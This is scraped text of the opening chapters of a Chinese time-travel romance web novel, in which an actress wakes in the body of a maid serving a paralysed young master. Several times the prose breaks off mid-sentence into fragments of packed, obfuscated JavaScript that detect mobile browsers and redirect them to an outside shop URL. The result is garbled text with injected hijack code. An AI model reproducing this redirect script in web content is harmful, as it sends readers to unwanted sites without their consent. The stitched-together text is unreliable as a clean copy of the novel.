《流萤逐玉》 1. 冒名顶替被识破 半个小时前,叶之萤还身着华服在纸醉金迷的时尚晚宴上推杯换盏,但现在,她刚从一张古朴的软榻上醒来。 眼前木梁青砖、烛台油灯,还有两个身着汉服的陌生男人。 她还不知道发生了什么,吓得不敢出声。 很快,其中一位丸子头少年就发现她醒了。那人先是跑到她身边惊讶地盯着她观察了一阵,而后突然兴奋地又跳又喊:“鱼儿妹妹,你醒了?少爷,鱼儿醒了!” 还有一人躺在她脚下的雕花木床上,似乎是病着。听到丸子头少年的叫嚷,他仰着头有些艰难地将头转向她的方向。 叶之萤看不清他的五官,只看到那对墨黑的瞳仁在对上她的双眼后瞬间发亮,很快就蒙上了一层水汽。 “鱼儿,躺着莫动,阿力这就为你请林大夫来。”虚弱的声音带着激动的颤抖。 “请问,这里是什么地……”刚一开口,她就被喉咙中发出的稚嫩声音吓得倒吸了一口凉气。 一把掀开身上盖着的被子,低头一看:瘦小的身材、小麦色的皮肤、粗糙的肉手、营养不良的半透明指甲…… 再猛地一拧大腿内侧的肉,强烈的痛觉让她意识到这并不是在做梦。 自己穿越了!穿到了一个陌生女孩的身体里! 怎么会这样? 她几乎要崩溃了! “鱼儿?可是还有哪里不舒服?”床上那人见她话只说了一半,又担心地问她。 “我……我……那个……”此时,叶之萤的大脑一片混乱,乱到已经无法顺畅地组织出一句完整的话了。 几乎是同时,那位叫阿力的少年已经请来了大夫。 趁着检查身体的功夫,慌乱的叶之萤渐渐冷静了下来。 眼下的当务之急有三:一是须得搞清楚这身体原主人的身份;二是保证自己在这里的生存;三是想办法穿回去。 待林大夫离开后,床上那个男人听她身体无碍,眼中的担忧总算褪去,只是……似乎褪得太干净了点儿。 叶之萤还没来得及分析他的眼神,身边的阿力就先开口了:“鱼儿妹妹,你这几日昏迷不醒,少爷也跟着你不吃不喝,你若再不醒,只怕少爷也要撑不下去了!你知道的,不管有何难处,少爷都会尽力帮你,你好好的又为何突然要做如此傻事呢?”说着,便红了眼眶。 做傻事?莫非这姑娘是自寻短见? 那这位少爷又为什么不吃不喝呢?莫非二人是情侣? 一计上心头! 自己初来乍到,身无分文,又没地方落脚,不如就先做这鱼儿姑娘好了! 看这少爷对鱼儿用情颇深,想必也不会薄待了自己。等想到办法离开之时,再跟他坦白一切,感谢他的照顾之恩。 自己好歹是个演员,角色扮演还不是手拿把掐? 就这么办了! “我什么都不记得了……”她顺水推舟,假装失忆。 “不记得了?”身边的阿力大惊失色。 叶之萤茫然地点了点头,生死存亡之际,她须得拿出专业演员的实力了。 那个阿力果然被她的演技骗到了:“那你还记得我吗?还记得……”说着便扭头看了眼床上的人,“还记得少爷吗?” 叶之萤遗憾地摇头:“我连自己是谁都不记得了……” 阿力的眼中难掩失望,但这个乐观的少年很快就哄好了自己:“只要人没事就好,忘了我们也不打紧,来日方长,我慢慢将从前的事讲与你听。你叫李渔,木子李,‘渔舟唱晚’的渔,是少爷的贴身丫鬟,平日里照顾少爷的饮食起居。我叫阿力,和你一样起照顾少爷。这位就是我们的少爷。” 听阿力说完这段话,叶之萤那已经极其脆弱的神经再一次受到了重创! 原来这身体的主人不是“鱼儿”,而是“渔儿”。 原来她并不是这位少爷的女朋友,而是贴身丫鬟?! 天呐!失策了!还以为至少能捞个享清福的少奶奶当,结果居然是个伺候人的烧火丫头! 这可怎么办???叶之萤欲哭无泪,在心里咆哮起来! 不过很快她就自我安慰并接受了现实:丫鬟就丫鬟吧,好歹包吃包住。 “敢问您贵姓?”既然要当牛马,当然得先了解一下自己的“老板”。 “温其玉。”床上的人冷不丁地冒出了这三个字。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991624|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “温其玉?”叶之萤心存幻想,但愿真的名如其人。 “渔儿……”阿力在一旁提醒她,“叫‘少爷’。” “少……爷。”叶之萤皱着眉,别扭地叫了一声。 “你是何人?”那位少爷被她这么一唤,立刻接上了她的话,声音一片寒意。 叶之萤的心“咯噔”一下,差点没从嘴里跳出来。 “我是……李渔啊。”她强装镇定。 “你不是!”墨黑的眸子射出了锋利的寒光。 “我就是!我和她一模一样,怎么不是?”叶之萤陷入了自证陷阱。 果然,那人轻笑一声:“你方才还说不记得自己是谁,为何此刻又如此肯定自己就是李渔?” 叶之萤指着阿力,理不直气也壮:“他说的啊,而且你也几次三番叫我‘渔儿’,我若不是李渔,你们为何那般叫我?” 她刻意学着这里的说话方式,想让自己伪装得像一点儿。 可是她的一番狡辩并没有起到什么作用,床上那男人看她的眼神变得更加冷漠,如果她没看错,甚至带着不加掩饰的厌恶。 “少爷,渔儿姑娘自昏迷起就一直躺在这里,我们日日都守在跟前,并无旁人接近,不可能被人换了也不知道啊……更何况,她……”一旁的阿力听了自家少爷的话,又将叶之萤从头到脚打量了好几遍,最终得出了一个结论,“她分明就是渔儿姑娘啊!” “就是啊!”叶之萤附和着阿力,又向床上之人提议,“我是不是李渔,少爷过来一看便知,说一千道一万,样貌总不会骗人吧?” “你不必费力假装了!”床上的人一开口,就对她宣判了“死刑”,“渔儿与我朝夕相处,我一眼便知你不是她。你清醒之后,分明被自己的声音以及这副身体吓到,你因何而怕?你到底是谁?为何要到渔儿的身体里?渔儿又去了何处?” 一连几问,完全堵死了叶之萤接下来想说的狡辩之词。 叶之萤自知已没有再演下去的必要了。面对聪明人,坦诚才是最好的沟通方式。 “好吧,我确实不是渔儿。” 她得好好想一想,要怎么说服他收留自己了…… 2. 内心挣扎 “你……你真的不是渔儿?”阿力显然还没从震惊中回过神来,他俯身端详着面前这张脸,一副怀疑人生的表情。 “不是,我叫叶之萤。树叶的‘叶’,之乎者也的‘之’,萤火虫的‘萤’。”她做着自我介绍,并用手做了个照镜子的动作,“有镜子吗?” “叶小姐,那你又是怎么来到这里的呢?还有,你为什么和渔儿妹妹长得一模一样啊?”阿力拉开身后柜子的抽屉,取出一面铜镜,目光却始终停在她脸上。 床上那位洞察力惊人的温少爷显然对此也很好奇,同样目不转睛地盯着她看。 “其实我也不知道,可能是灵魂互换了吧!”一想到自己平白无故遭遇此难,叶之萤忽觉心口一堵,重重地叹了口气。 “灵魂?互换?”阿力拿着铜镜的手僵在空中,似乎是不明白她在说什么。 而床上的人此时更是眯起双眼,冷言道:“那是何意?” 与此同时,一道寒光从那双眼中犀利射出。仿佛在他看来,如今的这一切都是叶之萤一手策划的。 叶之萤一下子就被这眼神点炸毛了,没好气地怼了他:“你问我,我问谁去?” 又从阿力手中接过铜镜一照…… 一记晴天霹雳!大脑霎时被劈得一片空白! 镜子里的这张脸稚气未脱,面如菜色,极其消瘦,看上去一副营养不良的样子;瓜子脸,下巴很尖,从耳朵下面到下巴尖像被刀削过一般,几乎没有下颌角;眉毛很淡,眉型像弯弯的柳叶;单眼皮,眼睛倒不小也不肿,眼尾向上扬起;鼻梁不高也不低,鼻头有些过于圆润,显得不够精致;嘴唇偏薄,颜色苍白,一看便知是大病未愈。 这张脸看上去不难看,或许也可算是小有姿色,只是整张脸透露出寡淡和苦闷,让人不禁联想到晚清老照片上那些被封建社会压迫得毫无朝气的格格们。 而这样一张脸若是与她自己原装的风情艳丽的美貌相比,那更加是索然无味,无一是处! 想当初,她可是因为一张素颜照在网上走红,才误打误撞走上了演员这条路。这些年来,虽然一直腥风血雨新闻不断,可美貌却始终稳坐内娱第一把交椅!除了长相出众,还有172公分的傲人身高、沙漏般的性感身材以及风情万种的美人气质。 她生来就该做明星的! 可是现在,她却从一个万众瞩目、天使脸蛋、魔鬼身材、财富自由的大明星,变成了一个长相普通、身高矮小、身材普通、身无分文的…… 小丫鬟??! 一阵剧烈的眩晕再度袭来,叶之萤没站稳,重重跌在了地上。 十年努力挣到的一切——金钱、名声、荣誉、地位,一朝被另一个女人白白占了便宜。 不行!要想办法回去,重新夺回这一切! “我不管你是谁,但你现在既是在渔儿的身体里,在你二人没有换回身体之前,便不能离开这里。”就在叶之萤坐在地上emo的时候,那位温少爷又发话了。 虽然这话听起来一点人情味都没有,却正中叶之萤下怀,原本她还没想好自己如今还能拿什么跟他谈条件才能成功留下来,没想到他竟然主动要留下自己! 但该装的腔还是要装的,就算要答应,也得半推半就的答应,得让他们求着答应,不能自己上赶着答应,这样,才不会给人落下话柄,才能不被他们轻易拿捏。 于是她白眼一翻,道:“你是谁呀?凭什么限制我的自由!” “我是温其玉,而‘你’,是我的贴身丫鬟,你已在一年前将自己卖给了我,有卖身契为证。”他不疾不徐地说着。 “那是她,不是我!”她嘴硬抵抗。 “契约上有画押的手印,是不是你的,不消你我证明,官府自有法子确认。”他道。 叶之萤顺水推舟:“既然如此,我好像也没别的办法,只好恭敬不如从命了!” 正暗自窃喜自己的好运,谁知那位少爷突然话锋一转,竟道:“阿力,我饿了,安排渔儿去做饭。” 还坐在地上未起身的叶之萤“唰”地就睁大了眼。 他的声音听起来确实是该吃饭了,只是,他说让谁做饭来着? “这……”阿力面露难色,“少爷,叶小姐才刚醒,身体尚未恢复,要不还是继续让李大娘做吧。” 叶之萤着实没想到仅一面之缘的阿力会替自己说话,感激的目光颤抖着落到他脸上,还没停稳,就又被床上那人的话吸引了过去:“她是渔儿,不是什么叶小姐!” 那人的声音明显有了愠怒,不等叶之萤反驳便继续道:“方才林大夫已经看过,说渔儿体内毒素已清,况且她已能自行下床,与我争执时更是思维敏捷,中气十足,自是已无大碍,做饭这等小事理应不在话下。” 叶之萤听得一头雾水:“什么我不是叶小姐?我当然是叶小姐!” “从当下起,你便是渔儿。”他说得理直气壮。 这人也太不讲理了!叶之萤怒气上头,从地上爬起来跟他理论:“你这人好莫名其妙!我说我是李渔,你非说我不是。好,那我现在承认我不是李渔,我是叶之萤,你又非说我不是叶之萤,而是渔儿,你是不是有毛病啊!” “这间屋子里只能有李渔,你若是,便留下,若不是,便即刻离开。是与不是,你斟酌清楚再告诉我。”那人被骂后并不恼,语气依旧半死不活的。可叶之萤听得出当中的自信。他知她不敢走,才敢如此嚣张! 偏偏她叶之萤平生最讨厌被人威胁! 还真以为老娘离开这里就活不下去了?谁给你的自信?老娘走也带着你们家渔儿的身体一起走,你舍得? 从自己刚清醒时他眼眶泛泪的反应推断,他和这渔儿的关系绝不单纯!当然,叶之萤还有另一个更加坚定她推测的依据:倘若二人只是普通的主仆关系,渔儿自杀,他又为什么要绝食? “那就告辞了!”她没有再费唇舌,自以为拿捏住了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不!不!她身上的每一根汗毛都在抗拒!要是真沦落至那般田地,不如现在就一头栽进这湖里淹死算了! 正想着,一颗硕大的水滴打湿了她脖颈细嫩的皮肤,还不等她擦掉那滴水,更多的水滴便前赴后继、噼里啪啦地朝她脸上身上拍打过来。 “祸不单行”这句话能流传千百年,自是有它的道理的! 难道真的要冒雨露宿街头吗?她记得以前在网上刷到过网友的评论,说古代没有下水道,街上都是臭的。虽然她不知道这话的真假,但……万一是真的呢? 叶之萤跑进长廊里,将这风雅的宅院又完完整整扫视了一遍,一阵风吹来,一股淡雅的梅香温柔撞入她怀中。 有这样好的住处,为什么还要自讨苦吃去流浪呢? 是啊!为什么?她站在那里想了很久,都回答不上来。 3. 为五斗米折腰 “好吧,我就是李渔。”当她再一次迈入那扇门时,面对着床上的人一副尽在掌握中的表情,从牙缝里硬挤出了这几个字。 他赢了!垂死挣扎一番后,叶之萤还是没有勇气离开。 话音刚落,一声讥笑便从床上传来。 叶之萤早就料到了他的反应,只是她本以为在严峻的生存问题面前,自己可以暂时无视这样的羞辱,可现在看来,她还是高估了自己的忍耐力。她站在那里闭上眼睛,将屈辱和愤怒的情绪随着呼吸从嘴里一下又一下地吐出来。 “留得青山在,不怕没柴烧”、“君子报仇,十年不晚”、“卧薪尝胆,三千越甲可吞吴”。她在心里默念这些鸡汤,提醒自己千万不要在意眼前一时的荣辱! 哄好自己后,她对床上的人提出了自己的条件:“我们先约法三章,从今天起,我的身份就是李渔,以前她做的事情我都会尽心完成,而作为交换条件,你也要像对待李渔那样为我提供基本的衣食住行并保证我的人身安全,不能让我挨饿受冻,不能随便赶我走,也不能……不能欺负我。” “好!”那位温少爷不假思索地答应了。 “别急,我还没说完,还有最重要的一点,虽然你是少爷我是丫鬟,但不管以前你和李渔有过什么,从现在开始,你不能对我动手动脚,也不能要求我为你提供性服务,你同意吗?” 虽然她是第一次来到古代,但有些东西她是听说过的。比如:古代的丫鬟是没有独立人权的,她们只是主人的物品,任由主人支配,包括提供那方面的服务。 叶之萤确信这个温少爷和李渔之间一定有些什么非同寻常的感情。他们之间进展到什么程度了,李渔是自愿的还是被迫的,她全都不得而知。自己虽然答应他假扮李渔,却绝不能以出卖身体和感情为代价。 或许是没有想到她会如此直白,床上的人表情变得很奇怪,而后不屑地笑了一声,似乎是觉得面前的女子要求很荒诞。 叶之萤有些恼火:“温少爷,我没有读心术,读不懂你刚才的笑是什么意思,请你直白回答我的问题,你只需要回答……” “同意。”他看着她,眼神变得异常冷酷,似乎是对她的纠缠十分厌烦。 叶之萤被他的眼神吓了一跳。不得不说,他的气场太强大了,即使这么虚弱,仍然一个眼神就能散发出令人窒息的能量。 “叶……渔儿,”阿力偷瞄了一眼温其玉,指着床头的一个乌木箱子对叶之萤道,“你的衣服都湿了,先换身衣服吧,你的衣服都在这个箱子里。” 叶之萤当下便预感到不对劲儿,指着刚刚睡过的那张榻,难以置信问道:“难道……李渔平时就睡在这儿?” 她原以为他们是为了方便照顾李渔才临时将她搬过来的。 “是。”床上的人抢先回答。 叶之萤懒得理那人,她只是盯着阿力,渴望这位善良而可信的少年能给她一个真实的答案。可少年却低下头,躲开了她信任的目光。 “难道她没有自己的房间吗?”她确信是有的。 “别忘了,你就是渔儿。”床上那人又提醒她。 叶之萤哀怨地叹了口气。她在心里发誓,这人的声音简直是她听过最刺耳的声音,堪比指甲刮黑板,她再也不会觉得这声音好听了! “好吧。那我,我没有自己的房间吗?”她生生吞下一口气,咬着牙又问了一遍。 “没有。”他答。 “为什么要让我和你睡在一起?”叶之萤实在难以理解他的要求。 “因为你要照顾我。”那人的回答理直气壮得令人无语。 “照顾你?”她不禁失笑,“白天照顾还不够吗?难道你晚上不睡觉?还要让我24小时随时待命不成?需要如此精心的照顾,你是缺胳膊了还是少腿了?” 没想到面对叶之萤的讽刺,那人竟然说:“你说得对。” …… 叶之萤脸上原本对他的嘲笑瞬间凝结。这个人的每一句回答都那么出其不意,却句句都在踩在她的底线上,她实在忍不了了:“你怎么那么……” “无耻”两个字还没说出来,就被他没礼貌地打断:“你该去做饭了。” “你……”叶之萤还想继续骂他,那人却将头扭到另一边,不再看她。 眼看气没撒出去,叶之萤指着床上的人冲阿力咆哮:“他有病吧!” 阿力吓得急忙摇头,示意她不要再说下去。 “渔儿妹妹,我先在门外等你,你换了衣服后,我带你去厨房。”阿力借机岔开话题。 “可是我不会做饭。”天地良心,她这句话绝对没骗人。 “这……”阿力看了眼温其玉,见他并未松口,也不知道该怎么办了。 看阿力为难的样子,叶之萤有些于心不忍,毕竟他也只是个没有话语权的下人,便不再难为他:“算了,你出去等我吧,我先换衣服。” 可这屋子里根本没有能隐蔽换衣服的地儿。叶之萤拿着李渔的衣服在屋子里转了好几圈,正发愁之时,突然再一想,反正自己现在是李渔的身体,这位少爷要看也看的是李渔,跟她叶之萤有什么关系!索性也不躲了,直接站在床边面对着他,大大方方脱起了外衣。 那位少爷恐怕是没想到她会如此豪放,眼神一慌,忙转过头去面对着墙,再没有扭过来看。 切!放了半天狠话就这点出息!叶之萤对着床上人的后脑勺,鄙夷地笑了起来。 这宅子里的厨房目测得有上百平米。叶之萤从没见过这么大的厨房。 厨房一共有三、四、五……七个人! 七个人还不够给他做饭?非要命令自己来做?!叶之萤气得差点骂街,硬忍了回去。 一个胖胖的大妈正站在案板前忙着摘菜,看到她进来,忙快步到她面前关心她的身体,听阿力说她失忆了之后,还用围裙抹了把眼泪。 “傻孩子,听李大娘的话,这世上没有过不去的坎,以后莫要再做傻事了!”又突然想到了什么,忙将她向门外推,“你来灶房做甚?快回去休息,灶房里油烟大,若是让少爷知道你来这里,怕是要怪罪我们了!” 怪罪?叶之萤敏锐地起了疑,故意大声说:“是少爷让我来做饭的。” 说完,便仔细留意厨房众人的反应。 果然,厨房里的七人全都面露讶异。 她心里已然有了数。 “咳咳,李大娘,那个,是这样,少爷看渔儿妹妹记不得事了,就想让她多与大家接触接触,说不定能记起些什么。”阿力着急忙慌替那人粉饰之余,还不忘给叶之萤使眼色,让她也跟着一起粉饰。 “啊,对,对!”人在屋檐下,不得不低头,她虽不情愿,也只好勉为其难地跟着附和。 李大娘小声嘀咕了一句:“灶房里都是些生面孔,能记起甚来!” 阿力走后,李大娘嘱咐她坐在一旁不要动手,就往灶台里添柴去了。 叶之萤看添柴这活儿挺简单,便自告奋勇,让李大娘可以腾出手继续切菜,顺便跟大娘聊了起来:“李大娘,这药可真苦啊!” 刚一进厨房,叶之萤就闻到了一股浓浓的中药味道,她最讨厌药味了,特别是中药,这会儿药味更浓,熏得她头晕目眩,再多闻一会儿,恐怕就要翻白眼背过气去了。 没想到,案边的人“哐当”一声丢下菜刀,匆匆跑到窗边踮着脚探头往外看:“诶呀,你看我这脑子,光顾着替你高兴了,少爷的汤药都差点误了时辰!多亏你提醒得及时!” 她把其中一个灶头上放着的黑色罐子端了下来,将里面的汤药趁热倒在一个白色的瓷碗中,又将碗放在餐盘上。 叶之萤赶紧放下手中的木柴:“要送过去吗?我去送吧!” 再次回到那间屋子,温其玉依旧躺在床上,姿势和刚才一样,甚至连被子摆放的角度都没有变过。 不过是饿了几天而已,怎么搞得好像是得了绝症、命不久矣了似的,也太弱鸡了吧!叶之萤不禁皱起了眉头,暗暗在心里鄙视他。 “在看什么?”他不紧不慢地开口。 叶之萤做贼心虚,赶紧收回目光,舒展眉心,装作若无其事的样子把托盘递到床边:“没看什么,喝药吧。” 当她走到他身边时,才第一次真正看清了他的脸。在看清他的那一瞬间,她的心跳不争气地漏了一拍。原来他长得这么好看! 他的额头宽阔平整,眉骨突出,一双浓密的剑眉贴着眉骨潇洒入鬓,显得英气十足;一双狭长凌厉的凤眼在眉骨的映衬下显得格外深邃,眼角妩媚地下勾,眼尾却冷冽地上扬,眼神透出不怒自威的气场;眼下的卧蚕比别处的皮肤都亮一些,因为主人没有笑而若隐若现;鼻梁更是一绝,又高又挺,笔直地连向眉骨;嘴唇虽然不厚,却饱满凸起,看起来有着丰富的胶原蛋白,此刻,正紧紧地闭着,颜色微微泛白,像是抹了一层糖霜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991626|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来好像有点儿甜…… 她被自己邪恶的想法吓了一跳,目光飞速逃离他的嘴唇,却几乎在同时不由自主地舔了舔自己的嘴唇。 可那张脸就在那里,放肆地勾引着她的目光,如此秀色可餐,怎能浅尝辄止?她忍不住心中横流的欲望,又再一次偷偷看过去。 他的脸颊因为过度消瘦而有些凹陷,但即使这样,脸型也并不崎岖,看得出来骨相生得极好。他的脸很瘦,下巴却是方形的,整张脸大气威严,这使他即使如此虚弱也没有一丁点破碎感,反而散发出一种极具安全感的武将气质。 面对着这样一张脸,老实说,叶之萤对他的讨厌瞬间就烟消云散了。人啊,始终还是视觉动物! 可是,对他的好感并没有维持太久。或者说,两分钟之内,叶之萤便如坐过山车般迅速经历了黑转路人、再转粉、再脱粉回踩的曲折过程…… 她端着托盘在床边等了许久,那位少爷却稳稳地躺在床上,就是不接碗,连胳膊都不抬一下。她对此十分不解,使眼色示意他赶紧把碗端走。他却对她使的眼色也无动于衷,就那么理直气壮地一动不动。 “什么意思这是?你到底喝不喝啊?”叶之萤的耐心耗尽了,心想这人架子也忒大了,老佛爷都没他架子大!难不成要让人喂他?自己身处演艺圈,也见识过不少妄自尊大、傲睨自若之人,但嚣张如他这般的也实属罕见。 “你喂我喝。”他的语气非常淡定,就好像在说“进来吧”那样自然。 “你说什么?”叶之萤差点以为自己听错了。 “你得喂我喝。”他又重复了一遍。 叶之萤实在是不明白,他在提这些奇葩要求的时候是怎么能做到面不改色心不跳的。再联想到那李渔从前根本就不进厨房,他却骗自己去做饭的事,新仇旧恨一股脑全涌上了心头! 一张如此美貌的皮囊里竟然包裹着一个如此令人厌恶的灵魂,她为此感到惋惜! “这样戏耍我到底对你有什么好处?”她忍不住质问床上的人。 那人竟然反问她:“我何时戏耍你?” 看那样子倒像是冤枉了他。 “温……”她正想叫他的名字,却看见他脸色一变,立马反应过来,改口道,“少爷!” 他似乎对此很满意,阴沉的脸色又恢复如常。 叶之萤继续道:“我答应你暂时先当李渔姑娘,你能不能也答应我不要故意为难我?我们和平相处,互不招惹,我好过,你也好过,这样不好吗?你放心,我会努力回忆自己是怎么来的这里,尽量早一点找到办法,把你的渔儿换回来,你不用担心我会耍花样,因为我比谁都想早点回到自己的身体里去。在我想到办法之前,我们约法三章,你别再为难我了,我们友好相处,可以吗?” “恐怕我不能答应。” “为什么?” “因为我并未为难你。” 怎么就说不通呢?怎么就沟通不了呢?怎么就油盐不进呢?叶之萤简直要被他气得抓狂了! “你怎么没有为难我?你先是强迫我做李渔,又让我必须跟你睡一个房间,晚上都不能睡觉、要24小时待命伺候你,还逼不会做饭的我去做饭,现在还非要让我喂你喝药。这些难道不是故意为难我吗?你扪心自问,难道你会让真正的李渔姑娘做这些事吗?” 他对此又是一脸不屑,悠悠开了口:“首先,是你自愿做渔儿的,我并未逼迫你。其次,林大夫方才对你进行了检查,既然你身体无碍,我作为少爷,命我的丫鬟去做饭有何不可?而你所说的其他事,都是渔儿之前做的,现在我要求你做,又有何问题?” “李渔明明就不做……” 叶之萤正想拆穿他的谎言,外面就传来了李大娘焦急的喊声:“着火了!着火了!阿力,阿力!厨房着火了,快来救火!快来救火,厨房着火了!” 厨房着火了?怎么会着火呢?刚刚自己离开的时候还好好的呀! 她脑海中很快就浮现出一个画面:端药离开时,自己好像把手里的一根木柴随手放在了炉口,而那根木柴的另一边,正好搭在整堆干柴上…… 天呐!她完全顾不上跟温其玉再掰扯其他,就把手里的餐盘丢在了一旁的餐桌上,撒腿往厨房跑去。 阿力已经端着水盆在灭火了,她也赶紧找了个水瓢一起浇水灭火。火势不大,很快就控制住了,可她的左手手背却不慎被火燎到,红了一大片…… 4. 原来如此 温其玉房中 “火是你放的?”床上的人斜睨了她一眼。 叶之萤看出来了,他觉得是她故意放火。这样的怀疑让她心里的内疚瞬间荡然无存。 “是我不小心点着的。”她语气不善,并特意在“不小心”三个字上加了重音。 “过来,让我看看你的手!”那人却意外没有再拿此事大做文章,就这么轻而易举地原谅了她,不仅如此,还关心起了她的伤。 俗话说“你敬我一尺,我敬你一丈”,况且这火也确实是因自己而起。叶之萤不好再跟他顶嘴,便也缓和了态度,笑着道:“没事,不要紧的。” “过来!”没想到那人的脸色却突然变得极其阴冷,叶之萤被他吓了一跳。 有病吧!她在心里暗骂一句,与此同时,脸上的笑意也已荡然无存。 这时,站在床边始终一言不发的阿力说话了:“渔儿妹妹,别怕,少爷只是担心你的伤,有些着急而已。” 她终于恍然大悟,这位温少爷关心的哪里是自己呀,他关心的分明是那个渔儿姑娘啊! 于是走过去,没好气地把左手伸到他面前,阴阳怪气道:“真是抱歉,害你的渔儿受伤了,要打要罚任君处置。” 他抬起头,难得不冷漠地问她:“疼吗?” 看他一脸担心的样子,叶之萤没忍住笑出了声,没想到还是个戏精! 忍着火辣辣的灼烧感,她冲他翻了个白眼:“不疼。” “渔儿从不会这样与我说话!”说这话时,他并没有看她,更像是在自言自语。 叶之萤:#?……@% 都负伤了,还要陪这位大少爷演戏玩儿!自己也太难了吧! 正哀怨着,又听他说:“往后你不要再进厨房了,饭交给李大娘来做,你就在这房里伺候我吧。” “Yes!”她振臂一挥,激动地差点跳了起来。 当然,此时的她还不知道后面几日等待她的是什么,更没有预料到伺候此人是比做饭更难十倍的事。 一旁的阿力谨慎地打断了二人的对话:“少爷,药该凉了,先喝药吧?” “嗯。”他微微点了一下头,幅度微小到若不是特意在一旁集中注意力观察,甚至不会发现他的头动了一下。 只见阿力走到床边,掀起了盖在他身上的被子,左手垫在他脖子下面,右手从他的两膝下穿过,用力向上一抱,他便整个人悬空,在阿力怀里“坐”了起来。 叶之萤这才发现,他的双腿细得好像两根竹竿,盖在白色的睡裤里差点都看不出轮廓。随着被阿力抱起,那两条小腿便在空中不受控制地晃动,一会儿碰在一起,一会儿又分开,就像两根刚从碗里捞出的面条。而当阿力把他重新放在床上坐好,手从他双膝下抽出时,那两条腿突然间失去了依靠,好像两个没有生命的物体直直向两边瘫了下去。 与此同时,叶之萤发现他的双臂竟然也瘫软地歪在身旁一动不动。 眼前这一幕几乎让叶之萤惊讶成了一尊雕塑,从头到脚都定住了,连眼睛都僵硬地固定在温其玉的双臂和双腿上。 耳畔浮现出之前和他的对话。 “我是不是李渔,你过来一看便知。” “我不用过去……” “你是缺胳膊了还是少腿了?” “你说得对!” “你得喂我喝。” “戏耍我对你有什么好处?你能不能别再为难我?” “我并为为难你。” …… 原以为他是故意和自己作对才那么说的,原来他说的都是真的。 但很快,她心中萌生出的那一点点怜悯就被另一种更加强烈的情绪所取代。这一天发生的一切令她愤怒的无理取闹在这一刻都有了合理的解释。 怪不得他那么神经,那么不可理喻!原来是身残之苦无处宣泄,全部宣泄在了她身上啊!原来如此! 可我凭什么要为他的痛苦买单?凭什么?他的残疾又不是我害的!想到这里,叶之萤眼里闪现出一抹恨意…… “渔儿,快来帮个忙,把垫子靠在少爷背后!”阿力在一旁唤她。 “噢,来了!”她抬起头,却正好与温其玉四目相对,他似乎已经看了她很久。 她迅速低头,躲开了他的眼神,又走到床边拿起软垫放在他身后,看着阿力将他的身体轻轻靠在了垫子上,刚想撤退,又被阿力叫住:“渔儿,你扶住少爷的身体,我来给少爷喂药。” “我?”虽然脸上的怒意已经被叶之萤掩藏了起来,但心里的却未消退,她站在床边,看着这副瘫软的身体,一想到就是它令自己平白受了那么多委屈,就恨得咬牙切齿,哪里还愿意去碰! “怎么,嫌恶心?碰都不愿碰?”身体的主人见她一直不动,又开始阴阳怪气。 她一抬头,目光正对他的脸,他脸上那一副颠倒黑白还不知悔改的样子让她更生气了,她几乎全然丧失了理智,不计后果地挑衅他:“是啊,难道它不恶心吗?” 羞耻和愤怒顷刻间爬满了那张俊美的面庞。 直到此时,望着眼前这个无辜被自己羞辱的人,叶之萤才突然清醒过来,意识到自己犯了多大的错误。 “对不起,刚刚是我说错话了,我的话不是针对你的,我只是……只是突然……我承认我对你的身体有些抵触,那是因为我……哎……”她试图弥补,又不知该如何解释,结结巴巴半饷,最终只是长长地叹了口气。 而令她意外的是,那人竟然没有再对她发难,竟然轻易就放过了她! “喝药吧。”叶之萤心里依旧很烦,也不想再去解释什么,既然对方没有再说话,就让它过去吧。 她舀了一勺药递到他嘴边,他并没有喝。 “勺子要挨在嘴唇上。“阿力提醒她。 原来他真的一动也动不了,那勺子原本离他唇边顶多两公分,可就这两公分,他都够不到。 叶之萤一边震惊于他的残疾之重,一边把勺子对在了他两唇之间。他这才慢慢将汤药喝了下去。 他喝药的速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991627|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也比叶之萤料想得慢很多,她从没这样伺候过别人,还不等他喝完,胳膊就开始发抖了。 “不好意思,我胳膊酸了,得缓一会儿。”她把勺子放回碗里,甩了几下右臂。 他立即皱起了眉,似乎是对她突然停下很不满:“不要停,继续。” 叶之萤一方面对自己刚刚的行为还在愧疚,一方面也对眼前的人产生了一丝同情,可一看到他又仗着残疾挑事,心里就又忍不住冒出一股火:“你没看到吗?我胳膊都发抖了,继续喂会把药撒你身上的。” 他反倒问她:“若是因汤药凉了而伤了我的身,你要如何担待?” 说话间,他冷冷地看着她,眼中没有一丝惭愧。 